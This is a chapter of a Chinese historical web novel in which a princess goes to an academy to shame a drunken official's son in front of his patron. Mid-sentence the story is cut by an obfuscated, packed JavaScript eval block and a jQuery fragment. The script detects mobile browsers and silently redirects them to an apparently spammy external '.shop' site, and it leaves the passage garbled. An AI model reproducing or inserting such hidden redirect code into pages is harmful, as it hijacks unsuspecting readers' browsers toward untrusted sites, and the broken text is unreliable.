盛兴帝是个不太一样的皇帝。
储君的教导是关乎国家的大事,大盛朝历经数百年来,按照祖制度,太子或者其他受重视的皇室子弟启蒙之后,会额外聘请世家大儒做先生,在宫中单独设有宫殿作为授课处。
但盛兴帝认为,这样的教育根本不足以让一国储君学到如何治理国家,若只是拘在宫殿之中学到的东西,到底能不能用到百姓身上?
于是他便下了令,让沈煦每日去宫外的集英书院,再听两三个时辰的课。
一则上课,二则亲民。
集英书院在宣阳城郊,原是百年前的一位致了仕的宰相为了族中子嗣所创办。
初时规模并不大,只能算得上是私塾。
后来,周遭的达官贵人们得知是老相爷亲自授课,托了关系也要将家中子弟送进来听听课。
城郊的农户们也厚起脸皮驮着孩子趴在墙外偷听。
老相爷心怀传道受业解惑的大志,无论贵贱,来者不拒。
贵人们感谢老相爷之恩,见老相爷说什么也不收束脩,便只好将银子都投在书塾中。
附近的贫苦百姓们也表示愿意让地出来建书院,给孩子们读书。
就这么历经了百来年,才有了如今这颇具名望的集英书院。
除了被寄予厚望的皇子,昭懿帝姬在集英书院也是有一张书桌的。
只是书院与宫中实在相距甚远,早起对于沈悠然来说犹如噩梦。
虽然贵为帝姬,但她也不能日日迟到乱了书院规矩,又不像沈煦沈照和严晟那般有正当理由晚到。
后来盛兴帝就做主,为她找了几个女先生,日日在宫中学习就好。
是以,今日在书院门口看见沈悠然车驾的时候,季清清还以为是沈悠然和沈沁打赌输了,将座驾送给沈沁了。
是的,顺宁郡主沈沁自去年秋日后,也来集英书院上课了。
只不过也不是日日都来,一个月里约莫就只有七八天到场。
虽然总是这般缺席,但沈沁在书院里表现不错,再加上她又是庄太后最宠爱的孙女,书院里的先生们也不敢置喙。
“你今日怎么来了?”季清清摊开书本遮住先生视线,趴在书桌上小声嘀咕着。
沈悠然没回答她,只是侧过脸,隔着屏风朝另一侧看了看。
“成玉泽没来?”她问。
季清清愣了半晌,没听清沈悠然的话。
沈悠然顿了顿,思索了好一会儿,才补充了一句,“就是那个兵部侍郎成左峰之子成玉泽。”
她没来过书院几次,原也不知道这号人。
但严晟昨日说他和安信侯世子交好,想来也是在集英书院就读。
不在的话,她自然也另有法子。
季清清原也没想起成玉泽是谁,但提到兵部侍郎成左峰,立马就想到了书院里那个总是喜欢打折父亲名号招摇过市的人。
“他啊,和我们不是一个班,不知道来没来。”
集英书院学子众多,从大了来说分成两个院,东院是像沈悠然这样的皇天贵胄,西院是普通人家的孩子。
原本老相爷在世的时候是不分什么豪门寒门的,只不过后来为了安慰一些有门第之见的富贵人家,这才将学子们分开了。
而东院这边,又再细分了一遍,像皇室子弟和一些公侯伯爵家的子弟,在同一处;那些重臣之子,又在隔壁乙字班听课。
沈悠然也是太久没来,一时之间忘了。
那看来,只有下了课,才能去隔壁找成玉泽的麻烦了。
*
书院男女未分班,只中间隔着一道屏风。
因为是晚到,为了不打扰其他人,严晟和沈煦的书桌放在房间的最后一排,整个房间一览无余。
甫一踏进房间,严晟就觉得有什么地方不一样了。
他警觉地张望着,透过屏风,看到了原本应该空置的书桌前,多了个身影。
那身影偏瘦,脊背挺直,在一众因为疲乏而略显惫怠的身影里格外惹眼。
严晟的余光忍不住多转了两下。
那是昭懿帝姬的位置,即便她不来,整个书院也没人敢去坐。
他不自觉地向沈煦望去,在看到对方眼里同样的不解时,将疑惑按在心底,默然落座。
直到先生说了散学后,沈煦刻意在门口等着沈悠然。
“昭懿,你今日怎的来了?”他问。
沈悠然一门心思在院外,嘴上稍带敷衍。
“没事做,来看看。”
季清清一下学就溜了出去,心里惦记着沈悠然的话,目光在人群中来回巡视,找到了目标。
“帝姬!成玉泽在这!”
她的声音不小,周围不少人脚下动作未停,但双眼都顺着季清清喊话的方向望过去。
骤然被这么多人看着,沈悠然神色也丝毫不见改变,仿佛这满院子的学生都不存在一般,径直看向季清清指着的那两人。
一个是脸上带着怯意和羞恼的成玉泽,和其他人好奇的打量不一样,他在听到季清清的“帝姬”二字后,竟吓得一哆嗦,四处张望着好似想要躲起来。
另一个是站在他旁边的男子,也和旁人一样,望着沈悠然的脸上带着欣喜。
特别是在看见沈悠然目光落在自己这边的时候,那种喜不自胜,让他忽略了沈悠然似乎并非是来找他的。
他高举手中的折扇,脸上尽是笑意,“帝姬表妹。”
沈悠然心中一梗,心中实在是不想应下这声“表妹”,却又寻不到反驳的话,只得抿着唇不说话,神情略带不虞。
她才不想叫这种纨绔一声“表哥”。
成玉泽见庄绪抬腿朝着沈悠然的方向走去,看了眼沈悠然的同时,目光也扫到了她旁边沉着一张脸的沈煦,顿时觉得腿肚子有些发软。
“世、世子,我们还是快些去食署吧,莫要、莫要被那些贱民抢了坐。”他拉住庄绪,想要逃。
集英书院内设食署,无论是先生还是学子,都可在食署中用膳。
不过话是这么说,但西院那边的学生,多是自备粮食,少有在食署里吃饭的。
只因食署中的吃食,大多是迁就那些富家子弟,价格并不便宜。
其实是不怕被人抢了席位,这不过就是成玉泽心虚理亏罢了。
庄绪见他一副被吓得哆嗦的样子,还以为他是被沈悠然和沈煦的身份吓到了,顿时有些不满。
“吃吃吃,你就知道吃!真是个猪脑子。”
“要吃你自己滚去吃,莫要耽搁了我同表妹叙旧。”
说罢,他一甩袖,也不管成玉泽要如何,朝着沈悠然走去。
成玉泽留在原地进退两难,逃走的想法还是占了上风。
只是就在他犹豫的这片刻,沈悠然已经走到了他们面前。
庄绪清了清嗓,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689091|188867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话里带着些许的殷勤。
“帝姬表妹,今日怎的来了书院?”
“你若是早支会一声,我就让人把东西都搬回去。”
庄绪是安信侯府已然上表请封过的世子,又是太后的亲侄孙,原是分在甲字班的。
只是后来沈悠然不来书院了,庄绪一个人呆在甲字班,也觉得无趣。
论家世,别说沈煦和沈照了,就连旁的皇亲宗亲子弟他也比不上,哪怕有些如今已快没了名字,但却依旧能凭借身上流着的那点血,稳坐宗亲之位,享受应有的待遇。
论学问,他更是志不在此,别说甲字班了,就是整个书院,也找不出几个比他还差的。
他也算是有自知之明,知道在甲字班里,自己就是个凤尾,便自请去了乙字班。
凭借着他安信侯世子、太后亲侄孙的身份,在乙字班里,混得叫一个风生水起,笼络了一群家世不如他的官僚子弟,颇有一番占山为王的态势。
其中,跟他关系最为熟络的,就是成玉泽,常年跟在庄绪身后招摇过市。
虽是要利用他,但沈悠然也不客气,既叫不出这声“表哥”,那也不会勉强自己。
“世子,旁边这位,可是同你交好的成家公子?”
庄绪一愣,不知沈悠然是何意,看向成玉泽的目光里也多了些不虞。
因为自持身份贵重,庄绪在他的一众狐朋狗友面前,总是觉得高人一等。
说是朋友,下意识里也是把他们当做了可以随意使唤的对象。
帝姬表妹不同自己叙旧,倒是打听起了自己身边的狗,庄绪能高兴才怪。
“略有交情。”庄绪语气一沉。
沈悠然为他们之间这脆弱不堪的友情冷笑了一声,而后才悠悠然开口。
“世子,虽说交什么样的朋友是自己的事,但既然世子叫本宫的皇祖母一声姑祖母,那有些话,怕是难听也得让世子听听了。”
“都说物以类聚人以群分,世子若是和这等品行败坏之人来往,怕是要坏了自己的名声。”
严晟倚在门栏边,看着沈悠然只说完这两句话就停下了,觉得她是故意的。
故意不把事情的来龙去脉说清楚,像是要显得自己高深莫测一般。
他抿唇压了压嘴角。
庄绪听了沈悠然的话,立马去质问成玉泽是怎么回事。
成玉泽哆哆嗦嗦地说着自己喝醉酒认错人差点冒犯了昭懿帝姬的事。
认错、差点,这几个字还特意加重了调子。
全篇说来,避重就轻,一副自己无辜的样子。
庄绪听完,勃然大怒。
因为盛兴帝并非庄太后所出,庄家上下总觉得养恩毕竟不如生恩,就怕哪一日盛兴帝不再照拂他们这个便宜母家,便想着要同盛兴帝亲上加亲。
——庄家想要为庄绪求娶昭懿帝姬。
这几年安信侯明里暗里提起这件事,都被盛兴帝以昭懿帝姬尚且年幼,不着急婚事为由敷衍过去。
庄家一无功绩二无实权,总不可能去逼婚,便总是告诫着让庄绪同昭懿帝姬多多相处,兴许两孩子感情深厚,盛兴帝也就不再阻拦。
庄绪自然是愿意的,且不论昭懿帝姬出身高贵,光是那张脸,让他费些心思也是心甘情愿的。
可自己尚且要处处讨好,成玉泽一个扒着自己的废物,竟敢随意冒犯!
庄绪当即踹了成玉泽一脚。